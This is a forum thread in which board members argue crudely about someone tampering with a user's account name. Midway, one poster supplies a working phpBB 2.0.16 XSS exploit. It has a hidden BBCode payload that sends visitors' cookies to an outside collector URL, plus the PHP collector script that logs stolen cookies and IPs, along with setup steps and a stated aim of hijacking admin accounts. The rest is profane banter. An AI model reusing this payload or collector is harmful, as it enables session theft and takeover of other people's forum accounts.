Sumones fukn around

[tweedle]

Wow this just shows you the type of immaturity we are dealing with. Pathetic really

[imscaredofgrass]

so that means tweeedle is now a swear word?

now instead of going to school and saying fuck you, im going to use these instances:

Teacher: Did you bring your homework today?
Me: go tweeedle urself

Bully: Give me ur lunch money
me: Shut up tweeedle

Hot girl: your such a loser
Me: can i touch ur tweeedle?

[Satanus0]

i dunno what to say...rude or funny

[herbal stu]

Just done a quick search on the old phpbb hacks available out there and believe me asmo this thing coulda been hacked by me before the update arrived not found any .17 hacks out there yet.

[tweedle]

Its not a hacker, its obviously someone on the inside

[herbal stu]

Its not a hacker, its obviously someone on the inside

Your not getting me I found a hack that logs cookies to the site and can syphon off the admin/mod users password into a hash. Then I found a place to crack the hash. If I had a website to steal the cookies to I'd demonstrate.

That way someone can use an admin/mods username and defile the board.

All it takes is a bit of php coding inserted between some bbcode tags and away you go.

Code: Select all

http://kisobox.com/area51/phpbb2.0.16xss/

Code: Select all

//
// suBzero@kisobox.com  http://Kisobox.com
//
// Prepare your exploit
//[color=#EFEFEF] <<== change it to template color,so no one can see it.
// you can do it.. by viewing page source code.
//
//to make your own cookies stealer
//cut start

<?php
 $cookie = $_GET['c'];
 $ip = getenv ('REMOTE_ADDR');
 $date=date("j F, Y, g:i a");
 $referer=getenv ('HTTP_REFERER');
 $fp = fopen('steal.php', 'a');
 fwrite($fp, '<br>Cookie: '.$cookie.'</br> IP: ' .$ip. '<br> Date and Time: ' .$date. '</br> Referer: '.$referer.' ');
 fclose($fp);
?>

//cut end
//rename it to cookies.php and create one new file steal.php and chmod it to 777
//

//
// exploit below

[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite/cookies.php?c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]

//
//

[tweedle]

So a random hacker would come on this board and fuck with my account and name but noone elses? Doesnt quite seem right to me

[WidespreadDead]

yeah its possible but highly unlikely but i wouldnt be surpised either way

[Funk Doctor]

ha ha ha, the maturity level has reached a new low. whoever replaced twee.dle's name with shitface is a

BIG FAT FUCKING PATHETIC LOSER

there. i said it. so sue me.

[MOT]

Seriously this needs sortin otherwise all the shit of the past couple of weeks will reseface and we'l never get rid of it. Tweedle is blatently being singled out.

Shitface!

[cutthecashflow]

Well someone is obvioulsy amused by all of this....

[Weedguru_Dusk]

Hurray for paranoia.
In all it doesn't have to be a 'random hacker'. Could it not be a not-so-popular member that got pissed off and then decided to screw around with everything?

[cutthecashflow]

Or in other words someone with no social life that has to resort to terrorizing people on the internet to get there thrills in.

Sounds like a winner in my book...

[Funk Doctor]

Hurray for paranoia.
In all it doesn't have to be a 'random hacker'. Could it not be a not-so-popular member that got pissed off and then decided to screw around with everything?

no shit, sherlock

i have a fairly good idea of whos behind it, but i wont say it or he-she might flip out like before, and we all know what that can lead to

[cutthecashflow]

Who cares say it anyways I'm about ready for another round of drama..